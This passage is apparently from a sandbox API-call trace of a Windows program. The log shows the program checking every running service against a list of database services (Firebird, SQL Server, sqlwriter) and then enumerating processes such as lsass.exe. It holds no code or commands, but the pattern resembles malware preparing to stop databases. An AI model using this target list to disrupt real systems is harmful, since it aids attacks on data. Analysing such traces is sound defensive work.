(lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0191.874] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0191.874] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0191.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0191.874] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0191.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0191.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0191.874] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0191.875] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0191.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0191.875] lstrlenW (lpString="Audiosrv") returned 8 [0191.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0191.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0191.875] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0191.875] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0191.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0191.875] lstrlenW (lpString="BFE") returned 3 [0191.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0191.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0191.875] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0191.875] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0191.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0191.875] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0191.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0191.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0191.875] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0191.875] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0191.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0191.875] lstrlenW (lpString="CDPSvc") returned 6 [0191.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0191.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0191.875] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0191.875] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0191.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0191.875] lstrlenW (lpString="ClickToRunSvc") returned 13 [0191.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0191.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0191.876] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0191.876] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0191.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0191.876] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0191.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0191.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0191.876] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0191.876] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0191.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0191.876] lstrlenW (lpString="CryptSvc") returned 8 [0191.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0191.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0191.876] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0191.876] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0191.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0191.876] lstrlenW (lpString="DcomLaunch") returned 10 [0191.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0191.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0191.876] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0191.876] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0191.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0191.876] lstrlenW (lpString="DeviceAssociationService") returned 24 [0191.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0191.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0191.876] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0191.876] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0191.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0191.877] lstrlenW (lpString="Dhcp") returned 4 [0191.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0191.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0191.877] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0191.877] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0191.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0191.877] lstrlenW (lpString="Dnscache") returned 8 [0191.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0191.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0191.877] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0191.877] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0191.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0191.877] lstrlenW (lpString="DPS") returned 3 [0191.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0191.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0191.877] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0191.877] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0191.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0191.877] lstrlenW (lpString="DusmSvc") returned 7 [0191.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0191.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0191.877] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0191.877] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0191.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0191.878] lstrlenW (lpString="EventLog") returned 8 [0191.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0191.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0191.878] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0191.878] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0191.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0191.878] lstrlenW (lpString="EventSystem") returned 11 [0191.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0191.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0191.878] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0191.878] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0191.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0191.878] lstrlenW (lpString="FontCache") returned 9 [0191.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0191.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0191.878] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0191.878] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0191.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0191.878] lstrlenW (lpString="gpsvc") returned 5 [0191.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0191.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0191.878] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0191.878] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0191.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0191.878] lstrlenW (lpString="iphlpsvc") returned 8 [0191.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0191.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0191.879] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0191.879] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0191.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0191.879] lstrlenW (lpString="KeyIso") returned 6 [0191.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0191.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0191.879] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0191.879] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0191.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0191.879] lstrlenW (lpString="LanmanServer") returned 12 [0191.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0191.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0191.879] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0191.879] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0191.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0191.879] lstrlenW (lpString="LanmanWorkstation") returned 17 [0191.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0191.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0191.879] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0191.879] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0191.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0191.879] lstrlenW (lpString="lfsvc") returned 5 [0191.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0191.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0191.879] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0191.879] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0191.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0191.879] lstrlenW (lpString="lmhosts") returned 7 [0191.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0191.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0191.880] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0191.880] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0191.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0191.880] lstrlenW (lpString="LSM") returned 3 [0191.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0191.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0191.880] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0191.880] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0191.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0191.880] lstrlenW (lpString="MpsSvc") returned 6 [0191.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0191.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0191.880] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0191.880] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0191.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0191.880] lstrlenW (lpString="NcbService") returned 10 [0191.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0191.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0191.880] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0191.880] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0191.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0191.880] lstrlenW (lpString="netprofm") returned 8 [0191.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0191.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0191.880] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0191.881] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0191.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0191.881] lstrlenW (lpString="NgcSvc") returned 6 [0191.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0191.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0191.881] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0191.881] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0191.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0191.881] lstrlenW (lpString="NlaSvc") returned 6 [0191.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0191.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0191.881] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0191.881] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0191.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0191.881] lstrlenW (lpString="nsi") returned 3 [0191.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0191.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0191.881] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0191.881] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0191.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0191.881] lstrlenW (lpString="PcaSvc") returned 6 [0191.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0191.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0191.881] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0191.881] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0191.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0191.881] lstrlenW (lpString="PlugPlay") returned 8 [0191.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0191.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0191.882] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0191.882] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0191.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0191.882] lstrlenW (lpString="Power") returned 5 [0191.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0191.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0191.882] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0191.882] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0191.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0191.882] lstrlenW (lpString="ProfSvc") returned 7 [0191.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0191.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0191.882] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0191.882] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0191.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0191.882] lstrlenW (lpString="RpcEptMapper") returned 12 [0191.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0191.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0191.882] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0191.882] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0191.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0191.882] lstrlenW (lpString="RpcSs") returned 5 [0191.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0191.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0191.882] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0191.882] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0191.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0191.883] lstrlenW (lpString="SamSs") returned 5 [0191.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0191.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0191.883] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0191.883] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0191.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0191.883] lstrlenW (lpString="Schedule") returned 8 [0191.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0191.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0191.883] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0191.883] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0191.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0191.883] lstrlenW (lpString="SecurityHealthService") returned 21 [0191.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0191.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0191.883] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0191.883] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0191.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0191.883] lstrlenW (lpString="SENS") returned 4 [0191.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0191.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0191.883] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0191.883] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0191.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0191.883] lstrlenW (lpString="ShellHWDetection") returned 16 [0191.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0191.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0191.883] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0191.884] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0191.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0191.884] lstrlenW (lpString="Spooler") returned 7 [0191.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0191.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0191.884] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0191.884] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0191.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0191.884] lstrlenW (lpString="StateRepository") returned 15 [0191.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0191.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0191.884] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0191.884] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0191.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0191.884] lstrlenW (lpString="SysMain") returned 7 [0191.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0191.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0191.884] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0191.884] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0191.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0191.884] lstrlenW (lpString="SystemEventsBroker") returned 18 [0191.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0191.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0191.884] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0191.884] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0191.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0191.884] lstrlenW (lpString="Themes") returned 6 [0191.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0191.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0191.885] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0191.885] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0191.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0191.885] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0191.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0191.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0191.885] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0191.885] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0191.885] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e803c8 | out: hHeap=0x660000) returned 1 [0191.885] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x338 [0191.892] Process32FirstW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.892] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0191.893] lstrlenW (lpString="System") returned 6 [0191.893] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0191.995] lstrlenW (lpString="smss.exe") returned 8 [0191.995] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0191.995] lstrlenW (lpString="csrss.exe") returned 9 [0191.995] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0191.996] lstrlenW (lpString="wininit.exe") returned 11 [0191.996] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0191.996] lstrlenW (lpString="csrss.exe") returned 9 [0191.996] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0191.997] lstrlenW (lpString="winlogon.exe") returned 12 [0191.997] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0191.997] lstrlenW (lpString="services.exe") returned 12 [0191.998] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0191.998] lstrlenW (lpString="lsass.exe") returned 9 [0191.998] Process32NextW (in: hSnapshot=0x338, 